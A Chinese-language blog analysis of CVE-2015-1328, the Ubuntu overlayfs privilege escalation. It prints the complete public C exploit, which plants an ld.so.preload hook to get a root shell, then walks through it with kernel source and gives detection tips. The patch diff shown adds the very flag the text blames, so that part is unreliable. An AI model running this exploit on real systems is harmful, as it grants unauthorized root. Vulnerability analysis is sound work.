CVE-2015-1328 Ubuntu 12.04, 14.04, 14.10, 15.04 overlayfs Local Root

catalog

0. 引言
1. Description
2. Effected Scope
3. Exploit Analysis
4. Principle Of Vulnerability
5. Patch Fix

 

0. 引言

新技术、高性能技术的不断发展，越来越提升了操作系统的能力，而近几年出现的虚拟化技术，包括overlayfs虚拟层叠文件系统技术，则为docker这样的虚拟化方案提供了越来越强大的技术支撑，但是也同时带来了很多的安全问题
抛开传统的overflow溢出型漏洞不说，还有另一类漏洞属于"特性型"的漏洞，黑客利用系统原生提供的"功能"，加上一些特殊设计的"使用组合方式"，以此实现了非预期的操作结果，甚至root
这也再次告诉我们，在系统层和黑客进行攻防，就需要比黑客更加深刻理解系统本身的特性，以及在极端条件下它们的组合方式，因为这些组合方式很有可能能够转化为攻击向量

 

1. Description

Philip Pettersson discovered a privilege escalation when using overlayfs mounts inside of user namespaces. A local user could exploit this flaw to gain administrative privileges on the system
使用默认配置的ubuntu.所有版本存在该cve-2015-1328漏洞，允许本地root特权提升，当在upper文件系统目录中创建新文件时，overlayfs文件系统并不能恰当检查文件权限
该漏洞能被某非特权进程利用，此进程在内核中(带有CONFIG_USER_NS=y、且其位置的overlayfs带有FS_USERNS_MOUNT标志)，可让挂载的overlayfs在非特权的目录中挂载命名空间，
这是ubuntu12.04, 14.04, 14.10, and 15.04 [1].的默认配置

0x1: Overlay Filesystem

Relevant Link:

https://security-tracker.debian.org/tracker/CVE-2015-1328
http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html
http://www.freebuf.com/news/70615.html
http://seclists.org/oss-sec/2015/q2/717
https://www.kernel.org/doc/Documentation/filesystems/overlayfs.txt
http://www.cnblogs.com/LittleHann/p/4083943.html
//搜索：0x4: overlayfs 

 

2. Effected Scope

Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)

 

3. Exploit Analysis

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>

#define LIB 
"#include <unistd.h>"
"uid_t(*_real_getuid) (void);"
"char path[128];"
"uid_t getuid(void)"
"{"
"_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");"
"readlink(\"/proc/self/exe\", (char *) &path, 128);"
"if(geteuid() == 0 && !strcmp(path, \"/bin/su\"))"
"{\nunlink(\"/etc/ld.so.preload\");"
"unlink(\"/tmp/ofs-lib.so\");"
"setresuid(0, 0, 0);"
"setresgid(0, 0, 0);"
"execle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);"
"}"
"return _real_getuid();"
"}"

static char child_stack[1024*1024];

static int child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);

    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) 
    {
        // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) 
        {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } 
    else 
        file = "ns_last_pid";

    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");

    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) 
    {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) 
        {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }

    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}

int main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;

    fprintf(stderr,"spawning threads\n");
    
    //创建子进程
    if((wrapper = fork()) == 0) 
    {
        //将子进程移动到新命名空间，和父进程分离
        if(unshare(CLONE_NEWUSER) != 0)
        fprintf(stderr, "failed to create new user namespace\n");

        //子进程继续创建子进程
        if((init = fork()) == 0) 
        {
            //新的子进程从新的函数入口点开始执行，相当于execve了一个新进程，新的子进程继续存在于一个新的命名空间中
            pid_t pid = clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) 
            {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }
            waitpid(pid, &status, 0); 
        } 
        waitpid(init, &status, 0);
        return 0;
    }

    usleep(300000);

    wait(NULL);

    fprintf(stderr,"child threads done\n");

    fd = open("/etc/ld.so.preload",O_WRONLY);

    if(fd == -1) 
    {
        fprintf(stderr,"exploit failed\n");
        exit(-1);
    }

    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) 
    {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}

Relevant Link:

http://cxsecurity.com/issue/WLB-2015060081
https://www.exploit-db.com/exploits/37292/

 

4. Principle Of Vulnerability

我们以POC中使用都的API调用和特性为线索，逐步讨论overlayfs的相关"特性"，以及这些特性是如何最终形成一条攻击向量的

0x1: 创建子进程时传入CLONE_NEWNS

注意到POC中的这几行代码，涉及到了shared标志位、CLONE_NEWNS标志位

..
//创建子进程
    if((wrapper = fork()) == 0) 
    {
        //将子进程移动到新命名空间，和父进程分离
        if(unshare(CLONE_NEWUSER) != 0)
        fprintf(stderr, "failed to create new user namespace\n");

        //子进程继续创建子进程
        if((init = fork()) == 0) 
        {
            //新的子进程从新的函数入口点开始执行，相当于execve了一个新进程，新的子进程继续存在于一个新的命名空间中
            pid_t pid = clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
　　　　　　　　..

/source/kernel/fork.c

/*
 * unshare allows a process to 'unshare' part of the process
 * context which was originally shared using clone.  copy_*
 * functions used by do_fork() cannot be used here directly
 * because they modify an inactive task_struct that is being
 * constructed. Here we are modifying the current, active,
 * task_struct.
 */
SYSCALL_DEFINE1(unshare, unsigned long, unshare_flags)
{
    int err = 0;
    struct fs_struct *fs, *new_fs = NULL;
    struct sighand_struct *new_sigh = NULL;
    struct mm_struct *mm, *new_mm = NULL, *active_mm = NULL;
    struct files_struct *fd, *new_fd = NULL;
    struct nsproxy *new_nsproxy = NULL;
    int do_sysvsem = 0;

    check_unshare_flags(&unshare_flags);

    /* Return -EINVAL for all unsupported flags */
    err = -EINVAL;
    if (unshare_flags & ~(CLONE_THREAD|CLONE_FS|CLONE_NEWNS|CLONE_SIGHAND|
                CLONE_VM|CLONE_FILES|CLONE_SYSVSEM|
                CLONE_NEWUTS|CLONE_NEWIPC|CLONE_NEWNET))
        goto bad_unshare_out;

    /*
     * CLONE_NEWIPC must also detach from the undolist: after switching
     * to a new ipc namespace, the semaphore arrays from the old
     * namespace are unreachable.
     */
    if (unshare_flags & (CLONE_NEWIPC|CLONE_SYSVSEM))
        do_sysvsem = 1;
    if ((err = unshare_thread(unshare_flags)))
        goto bad_unshare_out;
    if ((err = unshare_fs(unshare_flags, &new_fs)))
        goto bad_unshare_cleanup_thread;
    if ((err = unshare_sighand(unshare_flags, &new_sigh)))
        goto bad_unshare_cleanup_fs;
    if ((err = unshare_vm(unshare_flags, &new_mm)))
        goto bad_unshare_cleanup_sigh;
    if ((err = unshare_fd(unshare_flags, &new_fd)))
        goto bad_unshare_cleanup_vm;
    if ((err = unshare_nsproxy_namespaces(unshare_flags, &new_nsproxy,
            new_fs)))
        goto bad_unshare_cleanup_fd;

    if (new_fs ||  new_mm || new_fd || do_sysvsem || new_nsproxy) {
        if (do_sysvsem) {
            /*
             * CLONE_SYSVSEM is equivalent to sys_exit().
             */
            exit_sem(current);
        }

        if (new_nsproxy) {
            switch_task_namespaces(current, new_nsproxy);
            new_nsproxy = NULL;
        }

        task_lock(current);

        if (new_fs) {
            fs = current->fs;
            write_lock(&fs->lock);
            current->fs = new_fs;
            if (--fs->users)
                new_fs = NULL;
            else
                new_fs = fs;
            write_unlock(&fs->lock);
        }

        if (new_mm) {
            mm = current->mm;
            active_mm = current->active_mm;
            current->mm = new_mm;
            current->active_mm = new_mm;
            activate_mm(active_mm, new_mm);
            new_mm = mm;
        }

        if (new_fd) {
            fd = current->files;
            current->files = new_fd;
            new_fd = fd;
        }

        task_unlock(current);
    }

    if (new_nsproxy)
        put_nsproxy(new_nsproxy);

bad_unshare_cleanup_fd:
    if (new_fd)
        put_files_struct(new_fd);

bad_unshare_cleanup_vm:
    if (new_mm)
        mmput(new_mm);

bad_unshare_cleanup_sigh:
    if (new_sigh)
        if (atomic_dec_and_test(&new_sigh->count))
            kmem_cache_free(sighand_cachep, new_sigh);

bad_unshare_cleanup_fs:
    if (new_fs)
        free_fs_struct(new_fs);

bad_unshare_cleanup_thread:
bad_unshare_out:
    return err;
}

/source/kernel/fork.c

static struct task_struct *copy_process(unsigned long clone_flags,
                    unsigned long stack_start,
                    struct pt_regs *regs,
                    unsigned long stack_size,
                    int __user *child_tidptr,
                    struct pid *pid,
                    int trace)
{
    int retval;
    struct task_struct *p;
    int cgroup_callbacks_done = 0;

    /*
    1. 对传入的clone_flag进行检查
    */
    if ((clone_flags & (CLONE_NEWNS|CLONE_FS)) == (CLONE_NEWNS|CLONE_FS))
        return ERR_PTR(-EINVAL);
 
    if ((clone_flags & CLONE_THREAD) && !(clone_flags & CLONE_SIGHAND))
        return ERR_PTR(-EINVAL);
 
    if ((clone_flags & CLONE_SIGHAND) && !(clone_flags & CLONE_VM))
        return ERR_PTR(-EINVAL);
 
    if ((clone_flags & CLONE_PARENT) &&
                current->signal->flags & SIGNAL_UNKILLABLE)
        return ERR_PTR(-EINVAL);
    ..
    /* 
    copy all the process information 
    根据clone_flags复制父进程的资源到子进程，对于clone_flags指定共享的资源，父子进程间共享这些资源，仅仅设置子进程的相关指针，并增加资源数据结构的引用计数
    */
    if ((retval = copy_semundo(clone_flags, p)))
        goto bad_fork_cleanup_audit;
    if ((retval = copy_files(clone_flags, p)))
        goto bad_fork_cleanup_semundo;
    if ((retval = copy_fs(clone_flags, p)))
        goto bad_fork_cleanup_files;
    if ((retval = copy_sighand(clone_flags, p)))
        goto bad_fork_cleanup_fs;
    if ((retval = copy_signal(clone_flags, p)))
        goto bad_fork_cleanup_sighand;
    if ((retval = copy_mm(clone_flags, p)))
        goto bad_fork_cleanup_signal;
    //复制命名空间
    if ((retval = copy_namespaces(clone_flags, p)))
    ..

/source/kernel/nsproxy.c

/*
 * called from clone.  This now handles copy for nsproxy and all
 * namespaces therein.
 */
int copy_namespaces(unsigned long flags, struct task_struct *tsk)
{
    struct nsproxy *old_ns = tsk->nsproxy;
    struct nsproxy *new_ns;
    int err = 0;

    if (!old_ns)
        return 0;

    get_nsproxy(old_ns);

    //检查flag
    if (!(flags & (CLONE_NEWNS | CLONE_NEWUTS | CLONE_NEWIPC | CLONE_NEWPID | CLONE_NEWNET)))
        return 0;

    if (!capable(CAP_SYS_ADMIN)) {
        err = -EPERM;
        goto out;
    }

    /*
     * CLONE_NEWIPC must detach from the undolist: after switching
     * to a new ipc namespace, the semaphore arrays from the old
     * namespace are unreachable.  In clone parlance, CLONE_SYSVSEM
     * means share undolist with parent, so we must forbid using
     * it along with CLONE_NEWIPC.
     */
    if ((flags & CLONE_NEWIPC) && (flags & CLONE_SYSVSEM)) 
    {
        err = -EINVAL;
        goto out;
    }

    //创建新的namespace
    new_ns = create_new_namespaces(flags, tsk, tsk->fs);
    if (IS_ERR(new_ns)) 
    {
        err = PTR_ERR(new_ns);
        goto out;
    }

    tsk->nsproxy = new_ns;

out:
    put_nsproxy(old_ns);
    return err;
}

/source/kernel/nsproxy.c

/*
 * Create new nsproxy and all of its the associated namespaces.
 * Return the newly created nsproxy.  Do not attach this to the task,
 * leave it to the caller to do proper locking and attach it to task.
 */
static struct nsproxy *create_new_namespaces(unsigned long flags, struct task_struct *tsk, struct fs_struct *new_fs)
{
    struct nsproxy *new_nsp;
    int err;

    new_nsp = create_nsproxy();
    if (!new_nsp)
        return ERR_PTR(-ENOMEM);

    //创建新的挂载点命名空间
    new_nsp->mnt_ns = copy_mnt_ns(flags, tsk->nsproxy->mnt_ns, new_fs);
    if (IS_ERR(new_nsp->mnt_ns)) 
    {
        err = PTR_ERR(new_nsp->mnt_ns);
        goto out_ns;
    }
    ..

/source/fs/namespace.c

struct mnt_namespace *copy_mnt_ns(unsigned long flags, struct mnt_namespace *ns, struct fs_struct *new_fs)
{
    struct mnt_namespace *new_ns;

    BUG_ON(!ns);
    get_mnt_ns(ns);

    if (!(flags & CLONE_NEWNS))
        return ns;

    //复制挂载命名空间
    new_ns = dup_mnt_ns(ns, new_fs);

    put_mnt_ns(ns);
    return new_ns;
}

/source/fs/namespace.c

/*
 * Allocate a new namespace structure and populate it with contents
 * copied from the namespace of the passed in task structure.
 */
static struct mnt_namespace *dup_mnt_ns(struct mnt_namespace *mnt_ns, struct fs_struct *fs)
{
    struct mnt_namespace *new_ns;
    struct vfsmount *rootmnt = NULL, *pwdmnt = NULL;
    struct vfsmount *p, *q;

    new_ns = alloc_mnt_ns();
    if (IS_ERR(new_ns))
        return new_ns;

    down_write(&namespace_sem);
    /* First pass: copy the tree topology */
    new_ns->root = copy_tree(mnt_ns->root, mnt_ns->root->mnt_root, CL_COPY_ALL | CL_EXPIRE);
    if (!new_ns->root) 
    {
        up_write(&namespace_sem);
        kfree(new_ns);
        return ERR_PTR(-ENOMEM);
    }
    spin_lock(&vfsmount_lock);
    list_add_tail(&new_ns->list, &new_ns->root->mnt_list);
    spin_unlock(&vfsmount_lock);

    /*
     * Second pass: switch the tsk->fs->* elements and mark new vfsmounts
     * as belonging to new namespace.  We have already acquired a private
     * fs_struct, so tsk->fs->lock is not needed.
     */
    p = mnt_ns->root;
    q = new_ns->root;
    while (p) 
    {
        q->mnt_ns = new_ns;
        if (fs) 
        {
            if (p == fs->root.mnt) 
            {
                rootmnt = p;
                fs->root.mnt = mntget(q);
            }
            if (p == fs->pwd.mnt) 
            {
                pwdmnt = p;
                fs->pwd.mnt = mntget(q);
            }
        }
        p = next_mnt(p, mnt_ns->root);
        q = next_mnt(q, new_ns->root);
    }
    up_write(&namespace_sem);

    if (rootmnt)
        mntput(rootmnt);
    if (pwdmnt)
        mntput(pwdmnt);

    return new_ns;
}

因为overlayfs mount需要CAP_SYS_MOUNT能力，因此需要新建一个NEWUSER的namespace，这样就有CAP_SYS_MOUNT了(即使这样也需要overlayfs在编译的时候开启了FS_USERNS_MOUNT)

0x2: 两次overlayfs mount/unount

POC先创建了用户exploit的目录和文件

system("rm -rf /tmp/ns_sploit");
mkdir("/tmp/ns_sploit", 0777);
mkdir("/tmp/ns_sploit/work", 0777);
mkdir("/tmp/ns_sploit/upper",0777);
mkdir("/tmp/ns_sploit/o",0777);

1. 第一次mount

//将lowerdir(/proc/sys/kernel)、upperdir(/tmp/ns_sploit/upper)作为overlayfs挂载到/tmp/ns_sploit/o中
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) 
{
    // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
    if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) 
    //将lowerdir(l/sys/kernel/security/apparmor)、upperdir(/tmp/ns_sploit/upper)、workdir(/tmp/ns_sploit/work)作为overlayfs挂载到/tmp/ns_sploit/o中

至此，已经将/proc/sys/kernel、/sys/kernel/security/apparmor作为lowerdir，全部挂载到了/tmp/ns_sploit/o中

1. 第一次lowerdir=/proc/sys/kernel upperdir=/tmp/ns_sploit/o
2. 然后rename(file,"ld.so.preload");
3. 这时候会从lowerdir复制一份file到upperdir，然后再重命名为ld.so.preload，并且这个文件的属主是root
4. 然后umount

第一次unmount

umount("/tmp/ns_sploit/o");

2. 第二次mount

if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) 
{
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) 
        {

第二次mount是在第一次mount的基础上进行的

1. 第一次mount已经实现了在/tmp/ns_sploit/o中创建了ld.so.preload文件
2. 第二次mount lowerdir=/tmp/ns_sploit/o upperdir=/etc
3. 然后chmod("/tmp/ns_sploit/o/ld.so.preload", 0777)，因为overlayfs的底层实现是合并两个文件夹，rename本质是写文件操作，写lowerdir的时候会先复制一份到upperdir再修改
4. 这就导致把/tmp/ns_sploit/o/ld.so.preload复制到了/etc目录，并且权限为0777
5. 同时这里的另一个关键漏洞是复制过程的权限判断有问题，overlayfs检查的不是当前用户能不能写upperdir，而是检测被写的文件的属主能不能写upperdir，权限判断错误实际上是在第二次mount中被利用的，从某种程度上来说，这就导致的越权写

做完了这一步之后，黑客获取到的能力有

1. 黑客有能力读取/etc/ld.so.preload文件内容，因为overlayfs挂载的关系
2. 因为overlayfs文件读写权限检查的漏洞，导致黑客有能力可以修改/etc/ld.so.preload文件内容

3. 使用ld.so.preload ring3劫持技术

..
//打开/etc/ld.so.preload文件
fd = open("/etc/ld.so.preload",O_WRONLY);
..
//编译生成用于函数劫持的hook so
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
write(lib,LIB,strlen(LIB));
close(lib);
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
..
//修改/etc/ld.so.preload，加入hook so
write(fd,"/tmp/ofs-lib.so\n",16);
close(fd);
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
..

hook so

/*
劫持了getuid函数，并在hook func中执行
setresgid(0, 0, 0);
execle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);
直接获取root shell会话
*/
#define LIB 
"#include <unistd.h>"
"uid_t(*_real_getuid) (void);"
"char path[128];"
"uid_t getuid(void)"
"{"
"_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");"
"readlink(\"/proc/self/exe\", (char *) &path, 128);"
"if(geteuid() == 0 && !strcmp(path, \"/bin/su\"))"
"{\nunlink(\"/etc/ld.so.preload\");"
"unlink(\"/tmp/ofs-lib.so\");"
"setresuid(0, 0, 0);"
"setresgid(0, 0, 0);"
"execle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);"
"}"
"return _real_getuid();"
"}"

对整个入侵向量进行一下梳理

1. overlayfs的挂载特性(lowerdir、upperdir)是系统本身的特性，并不能严格意义上算是漏洞
2. 黑客通过两次的mount/unmount，实际上间接获得了对/etc/ld.so.preload的访问权限
3. 问题的关键在于overlayfs对upperdir文件写的权限检查逻辑有问题，overlayfs检查的不是当前用户能不能写upperdir，而是检测被写的文件的属主能不能写upperdir，这导致了黑客可以通过修改lowerdir来实现对upperdir文件的越权写
4. overlayfs实现了类似overflow的准备工作，真正发挥作用的explicit是Linux上传统的攻击技术: LD_PRELOAD/ld.so.reload劫持技术

Relevant Link:

https://www.kernel.org/doc/Documentation/filesystems/overlayfs.txt
http://www.cnblogs.com/LittleHann/p/4083943.html
//搜索：0x4: overlayfs 

 

5. Patch Fix

0x1: 检测方案

检查/etc/ld.so.preload中是否包含有恶意内容，如果发现，则认为是可疑事件

0x2: 修复方案

diff --git a/fs/overlayfs/super.c b/fs/overlayfs/super.c

@@ -816,6 +816,7 @@ static struct file_system_type ovl_fs_type = {
     .name        = "overlay",
     .mount        = ovl_mount,
     .kill_sb    = kill_anon_super,
+    .fs_flags    = FS_USERNS_MOUNT,
 };
 MODULE_ALIAS_FS("overlay");

0x3: Hotpatch方案

1. poc特征: su进程创建子进程/bin/sh，这在正常的strace su跟踪中是不应该出现的
2. 可以在进程管控中针对su创建子进程建立防御规则

Relevant Link:

https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/vivid/commit/?id=78ec4549 

 

Copyright (c) 2015 Little5ann All rights reserved